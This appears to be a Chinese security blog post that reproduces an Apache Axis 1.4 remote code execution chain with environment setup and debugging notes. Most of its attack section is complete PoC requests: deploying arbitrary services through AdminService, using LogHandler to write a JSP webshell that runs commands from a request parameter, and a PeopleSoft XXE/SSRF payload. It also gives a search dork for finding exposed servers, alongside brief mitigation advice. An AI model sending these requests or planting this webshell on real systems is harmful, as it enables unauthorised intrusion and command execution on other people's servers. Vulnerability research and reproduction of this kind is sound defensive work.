Apache AXIS 1.4 RCE

220 篇文章 7 订阅
213 篇文章 3 订阅

复现下载1.4版本:
https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
安装参考:
https://axis.apache.org/axis/java/install.html
把解压出来的axis-bin-1_4/axis-1_4/webapps/axis放到tomcat的webapps目录下,
默认是没有server-config.wsdd文件的,需要去这里下载一个:
https://github.com/apache/axis-axis1-java/blob/master/axis-war/src/main/webapp/WEB-INF/server-config.wsdd
然后修改enableRemoteAdmin值为true。
然后启动tomcat即可。
安装成功之后是这样的:
在这里插入图片描述
然而,关键的需要开启远程管理,
在这里插入图片描述
在默认的安装的jar包中,这个值为false。除非自己编译的时候将这个值设置为true。
在这里插入图片描述
在这里插入图片描述

环境变量配置:

export AXIS_HOME="/Users/Xxx/Downloads/axis-bin-1_4/axis-1_4"
export AXIS_LIB="$AXIS_HOME/lib"
export AXISCLASSPATH="$AXIS_LIB/axis.jar:$AXIS_LIB/axis-ant.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/wsdl4j-1.5.1.jar"

参考:
https://www.cnblogs.com/caroar/archive/2011/11/18/2253911.html
https://developer.atlassian.com/server/crowd/axis-1-x-client-stub-generation/
其实就是把lib下的所有jar包放进去了。
在这里插入图片描述
JWS (Java Web Service)文件即时部署。
参考:
在这里插入图片描述
先是碰到了一个问题,java.lang.RuntimeException: No compiler found in your classpath!,没找到编译器,然后搜了一下,找到这个:https://stackoverflow.com/questions/36555898/no-compiler-found-in-your-classpath-you-may-need-to-add-tools-jar-axis-1-4
于是将JDK/lib目录下的tools.jar文件复制到lib目录下,即可完成编译。
在这里插入图片描述
测试:
将example目录下的某文件腹坠到axis的web目录下,
在这里插入图片描述
然后访问这个文件,
在这里插入图片描述
访问成功 。
在这里插入图片描述
对应的代码是这部分:

/* EchoHeaders.jws */
/**
 * class to list headers sent in request as a string array
 */
public class EchoHeaders {

    /**
     * demo message context stuff
     * @return list of request headers
     */
    public String[] list() {
        HttpServletRequest request = getRequest();
        Enumeration headers=request.getHeaderNames();
        ArrayList list=new ArrayList();
        while (headers.hasMoreElements()) {
            String h = (String) headers.nextElement();
            String header=h+':'+request.getHeader(h);
            list.add(header);
        }
        String[] results=new String[list.size()];
        for(int i=0;i<list.size();i++) {
            results[i]=(String) list.get(i);
        }
        return results;
    }
    ...
}

前言

根据漏洞描述关于Apache AXIS 远程命令执行0day漏洞安全预警通告
根据其修复建议提到的:/services/AdminService/services/FreeMarkerService。开始也是没找到这个跟FreeMarker有什么关系,在axis的lib下搜了没搜到任何与FreeMarker相关的内容。于是就按照/services/AdminService这个线索来吧。

环境搭建

axis 1.4源码:https://repo1.maven.org/maven2/org/apache/axis/axis/1.4/axis-1.4-sources.jar
axis 1.4部署包:https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
将axis 1.4的部署包解压之后,将webapps/axis目录复制到tomcat的webapps目录下,启动tomcat即可完成axis的部署。然后导入IDEA之后,将其源码指定为上述源码即可。
在这里插入图片描述
然后在其部署目录搜索:AdminService关键字。
在这里插入图片描述
看到 WEB-INF/server-config.wsdd 文件有这么一段:
在这里插入图片描述
查询axis相关文档,参考WSDD说明文档部分:
https://axis.apache.org/axis/java/reference.html
在这里插入图片描述
为了限制某个类可被访问的方法,这里通过allowedMethods字段来指定允许调用的方法。而其className字段表示后端实现的类名,这里为:org.apache.axis.utils.Admin类。由于涉及到具体java文件的搜索,就不方便再在部署目录下搜索了。在axis 1.4源码目录下找到了这个方法:
在这里插入图片描述
搭建好环境之后,在AdminService方法处下断点,但是并没有请求过来,这里应该是需要一个POST带xml数据的请求。
在我不知道如何发这个xml内容的时候,发现Admin类有一个main方法,给出了xml文件的例子:
在这里插入图片描述

<deploy>
  <handler name=a class=className/>
  <chain name=a flow="a,b,c" />
  <chain name=a request="a,b,c" pivot="d"
                  response="e,f,g" />
  <service name=a handler=b />
</deploy>
<undeploy>
  <handler name=a/>
  <chain name=a/>
  <service name=a/>
</undeploy>
<list/>

这里想跟一下普通的jws的路径是个什么流程,然后在EchoHeaders.jws的list方法下断点:

GET /axis_1_4_war_exploded/EchoHeaders.jws?method=list

可想而知,都是各种HttpServlet(javax.servlet.http.HttpServlet)的Service()方法
这个包在tomcat-8.0.38/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class
是一些对HTTP协议的实现。
有两处连续的反射调用:
在这里插入图片描述
其中java.lang.reflect在:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/src.zip!/java/lang/reflect/Method.java
sun.reflect在JRE的rt.jar文件中:
/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/sun/reflect/DelegatingMethodAccessorImpl.class

看看AdminService如何被调用:

试着去使用POST xml的方式去调用,但是貌似格式不对,参考了一下SOAP消息的格式:
http://www.w3school.com.cn/soap/soap_syntax.asp
在这里插入图片描述
然后按照常规的xml POST请求,结果总给我返回错误:

于是我搜到这个:
https://community.cisco.com/t5/other-collaboration-subjects/no-soapaction-header-risport-issues/td-p/852557
说是缺少一个HTTP头,于是我加上了这个HTTP头:

SOAPAction: "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevice"

于是又跟到了org/apache/axis/transport/http/AxisServlet#doPost,于是在

soapAction = getSoapAction(req);

这一行下端点,看为什么这里必须有这个请求头才能继续下去。
在这里插入图片描述
由于这次的xml内容是随便加的,只是符合格式而已,服务器返回了错误,不过这次至少证明请求到达服务器在进行处理了:
在这里插入图片描述

RCE PoC

1、部署任意Service(该Service描述可调用指定任意类的任何方法,并对该Service命名):

POST /axis-1.4/services/AdminService HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 487
SOAPAction: cqq

<soapenv:Envelope
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <deployment
            xmlns="http://xml.apache.org/axis/wsdd/">
            <service name="Malicious2Service" provider="java:RPC">
                <parameter name="className" value="org.apache.commons.io.FileUtils"/>
                <parameter name="allowedMethods" value="*"/>
            </service>
        </deployment>
    </soapenv:Body>
</soapenv:Envelope>

其中包含org.apache.commons.io.FileUtils类的jar包可以在这里下载:
http://mirrors.tuna.tsinghua.edu.cn/apache//commons/io/binaries/commons-io-2.6-bin.zip
在这里插入图片描述
2、访问该Service,执行该指定类对任意方法(这里作为演示,只调用了getTempDirectoryPath())方法:

POST /axis-1.4/services/MaliciousService HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 307
SOAPAction: cqq

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
    <api:getTempDirectoryPath></api:getTempDirectoryPath>
    </soapenv:Body>
</soapenv:Envelope>

在这里插入图片描述

第二种RCE

或者通过写入jsp文件,上传webshell:
参考:
https://github.com/KibodWapon/Axis-1.4-RCE-Poc
其实也是参考的:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
这里作者通过查看Axis 的手册,发现不仅可以部署任意Service,还可以部署Handler,作者找到了一个恰当的Gadget:LogHandler,也就是:

org.apache.axis.handlers.LogHandler

每次进行SOAP调用的时候,就可以部署一个Handler。
LogHandler:顾名思义,它可以将每次的请求和响应记录到一个任意文件中。

POST /axis-1.4/services/AdminService HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 885
SOAPAction: cqq

<soapenv:Envelope
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
<ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
    <parameter name="LogHandler.fileName" value="/Applications/tomcat-8.0.38/webapps/axis-1.4/cqq_shell.jsp" />   
    <parameter name="LogHandler.writeToConsole" value="false" /> 
  </handler>
</ns1:deployment>
    </soapenv:Body>
</soapenv:Envelope>

2020/5/13更新
试了相对路径没有成功,
在这里插入图片描述
绝对路径成功了:
在这里插入图片描述
在这里插入图片描述


先配置Service,这里命名为RandomService,并配置对应的处理流程(requestFlow),指定给LogHandler来处理。然后部署handler,类型为LogHandler,并指定两个参数:
fileName/Applications/tomcat-8.0.38/webapps/axis-1.4/cqq_shell.jsp
writeToConsolefalse
查看LogHandler的源码,发现请求其实是覆盖了LogHandler的两个私有成员变量。
在这里插入图片描述
在这里插入图片描述
返回Done processing表示处理成功,若返回错误,则需检查一下请求的xml语法。
然后在服务端web目录下搜索,发现WEB-INF/server-config.wsdd文件已经被修改了。
在这里插入图片描述
这就是这句代码的作用:

/* org/apache/axis/utils/Admin#processWSDD */
engine.saveConfiguration();

在这里插入图片描述
不过这一步只是指定log的路径,并不进行文件写入操作,下一步才将webshell写入log文件。
第二步,向这个RandomSerivce提交一个请求,其中包含webshell。虽然会有其他的内容,只要文件名可控(设置为jsp后缀)但是不影响webshell内容被解析。

POST /axis-1.4/services/RandomSerivce HTTP/1.1
Host: cqq.com:8088
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/xml
Content-Length: 586
SOAPAction: cqq

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>

虽然报错了:
在这里插入图片描述
但是没关系,webshell内容已经写入到了指定文件中:
在这里插入图片描述
访问webshell即可:
在这里插入图片描述

enjoy!
测试完之后可以取消部署这个Service和Handler:

<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService"/>
<ns1:handler name="RandomLog"/>
</ns1:undeployment>

PeopleSoft里的Axis利用方式

在这里插入图片描述

POST /PSIGW/HttpListeningConnector HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE IBRequest [<!ENTITY x SYSTEM "http://localhost:80/pspc/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22YZWXOUuHhildsVmHwIKdZbDCNmRHznXR%22+provider%3D%22java%3ARPC%22%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22org.apache.pluto.portalImpl.Deploy%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3C%2Fns1%3Adeployment"> ]><IBRequest><ExternalOperationName>&x;</ExternalOperationName><OperationType/><From><RequestingNode/><Password/><OrigUser/><OrigNode/><OrigProcess/><OrigTimeStamp/></From><To><FinalDestination/><DestinationNode/><SubChannel/></To><ContentSections><ContentSection><NonRepudiation/><MessageVersion/><Data></Data></ContentSection></ContentSections></IBRequest>

这个是PeopleSoft’s pspc.war包里有的,而不是Axis通用的。
参考:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce

缓解措施:因为XXE的利用点是/PSIGW/HttpListeningConnector,而部署Service的利用点是/pspc/services,所以作为临时措施,可以禁用以下路径:

/PSIGW/HttpListeningConnector
/pspc/services
/pspc/services/*

一般这个远程管理选项是不开放的(默认为false),

but the TL;DR is: Axis treats requests coming from localhost with administrative privileges, which allows you to launch a malicious service by making an HTTP GET request which appears to be coming from localhost through an SSRF vulnerability
简单来说就是,Axis会对于来自于localhost的请求给予admin的权限,通过SSRF来伪装成来自localhost,就可以造成RCE的效果

通过google dork(inurl:happyaxis.jsp),可以搜到大量公网开放的Axis,但是试了一下,发现基本都是不开放远程管理权限的。所以是非常不建议开放这个选项的,有人专门写了一篇文章Why you shouldn’t use enableRemoteAdmin and lock down your Axis server
在这里插入图片描述

至于通过freemarker来进行RCE,需要构造xml内容,并这里面指定freemarker.template.utility.Execute#exec方法执行的参数列表(是一个List类型,这个不知道用xml该怎么表示。)

另外一个gadget:org.apache.axis.client.ServiceFactory

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值